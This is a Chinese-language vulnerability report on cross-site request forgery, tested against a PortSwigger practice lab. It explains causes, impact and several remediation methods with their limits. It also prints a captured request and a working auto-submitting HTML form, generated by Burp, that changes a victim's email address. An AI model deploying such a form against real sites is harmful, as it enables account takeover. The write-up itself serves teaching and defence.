2.CSRF跨站请求伪造漏洞
漏洞名称
CSRF跨站请求伪造漏洞
漏洞地址
https://portswigger.net/web-security/csrf
漏洞等级
中危
漏洞描述
跨站请求伪造(也称为CSRF)是一个Web安全漏洞，它允许攻击者诱导用户执行他们不打算执行的操作。它允许攻击者绕过部分同源策略，该策略旨在防止不同网站之间相互干扰。
漏洞成因
数据采用GET或POST请求，数据包中各参数均为用户可控参数，没有设置CSRF-Token，没有验证Referer字段，没有图形验证码和短信、邮件验证码，同时也没有校验非标准Http头部X-Requested-With: XMLHttpRequest，没有设置自定义的Http头部字段，所以综上判断存在网站存在CSRF漏洞。
漏洞危害
在成功的CSRF攻击中，攻击者会有意识地引导受害用户执行一个操作。例如，这可能是更改他们账户上的电子邮件地址，更改他们的密码或进行资金转账。根据动作的性质，攻击者可能能够获得对用户帐户的完全控制。如果被攻击的用户在应用程序中拥有特权角色，那么攻击者可能能够完全控制应用程序的所有数据和功能。
修复方案
1.使用CSRF-Token：业界一致的做法是使用一个CSRF-Token。
CSRF攻击之所以能够成功是因为攻击者可以伪造用户的请求，对此最好的防御手段就是让攻击者无法伪造这个请求。因此，我们可以在Http请求中（千万不要放在Cookie中）以参数的形式添加一个随机的CSRF-Token，并在服务端检查这个CSRF-Token是否正确，如不正确或不存在，则可以认为是不安全的请求，拒绝提供相关服务。
注意：
如果网站同时还存在XSS漏洞时，上述CSRF-Token的方法将可能失效，因为XSS可以模拟浏览器执行操作，攻击者通过XSS漏洞读取CSRF-Token值后，便可以构造出合法的用户请求了。所以在做好CSRF防护的同时，相应的安全防护也应做好。
1.验证Referer字段
在通常情况下，访问一个安全受限页面的请求来自于同一个网站，Http头部中的Referer字段记录了该Http请求的来源地址，如果Referer中的地址不是来源于本网站或不存在则可认为是不安全的请求，对于该请求应予以拒绝。这种方法简单易行，对于现有的系统只需在加上一个检查Referer值的过滤器，无需改变当前系统的任何已有代码和逻辑。
但是，这种方法存在一些问题需要考虑：首先，Referer的值是由浏览器提供的，虽然Http协议上有明确的要求，但是每个浏览器对于Referer的具体实现可能有差别，并且不能保证浏览器自身没有安全漏洞，将安全性交给第三方（即浏览器）保证，从理论上来讲是不可靠的；其次，用户可能会出于保护隐私等原因禁止浏览器提供Referer，这样的话正常的用户请求也可能因没有Referer信息被误判为不安全的请求，无法提供正常的使用。
注意：
如果网站同时还存在XSS漏洞时，上述方法将可能失效，因为XSS可以模拟浏览器执行操作，构造出合法的用户请求，这样Referer字段记录的依然是本网站的地址从而可以绕过Referer校验。所以在做好CSRF防护的同时，相应的安全防护也应做好。
1.添加验证码机制（图形验证码或者短信验证码、邮件验证码）
在用户提交数据之前，让用户输入验证码，或者用户在进行关键操作时，让用户重新输入密码进行验证。
1.校验非标准Http头部X-Requested-With
XMLHttpRequest，我们可以在服务端检查这个非标准Http头部X-Requested-With:XMLHttpRequest是否存在，如不存在，则可以认为是不安全的请求，拒绝提供相关服务。
注意：
如果网站同时还存在XSS漏洞或者开启CORS支持时，上述方法将可能失效，因为XSS可以模拟浏览器执行操作，构造出合法的AJAX用户请求，从而绕过非标准Http头部X-Requested-With:XMLHttpRequest校验，所以在做好CSRF防护的同时，相应的安全防护也应做好。
1.设置自定义的Http头部字段，比如CSRF:Token
我们可以在服务端检查这个自定义的Http头部字段是否存在，如不存在，则可以认为是不安全的请求，拒绝提供相关服务。
注意：
如果网站同时开启CORS支持时，上述方法将可能失效，因为攻击者可以模拟浏览器执行操作，构造出合法的AJAX用户请求，从而绕过自定义的Http头部字段校验，所以在做好CSRF防护的同时，相应的安全防护也应做好。
测试过程
https://ac631f6e1f7a6d74c04f0fe800bb00e4.web-security-academy.net/my-account
POST /my-account/change-email HTTP/1.1
Host: ac631f6e1f7a6d74c04f0fe800bb00e4.web-security-academy.net
Cookie: session=FjB6qKoab6v3RgUhaJiA6p2vwGgQsQE4
Content-Length: 21
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://ac631f6e1f7a6d74c04f0fe800bb00e4.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ac631f6e1f7a6d74c04f0fe800bb00e4.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
email=Mannix%40qq.com数据采用POST请求，数据包中各参数均为用户可控参数，没有设置CSRF-Token，没有验证Referer字段，没有图形验证码和短信、邮件验证码，同时也没有校验非标准Http头部X-Requested-With: XMLHttpRequest，没有设置自定义的Http头部字段，所以综上判断存在网站存在CSRF漏洞。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac631f6e1f7a6d74c04f0fe800bb00e4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="Mannix@qq.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>http://burpsuite/show/1/hq6p8zn0cgxl7slhu8n1dock3epr3w3y
复测情况
已修复
测试人员
南风向晚
粉丝主动打赏看这里
持续更新中，基础漏洞共105篇
原文始发于微信公众号（利刃藏锋）：CSRF跨站请求伪造漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论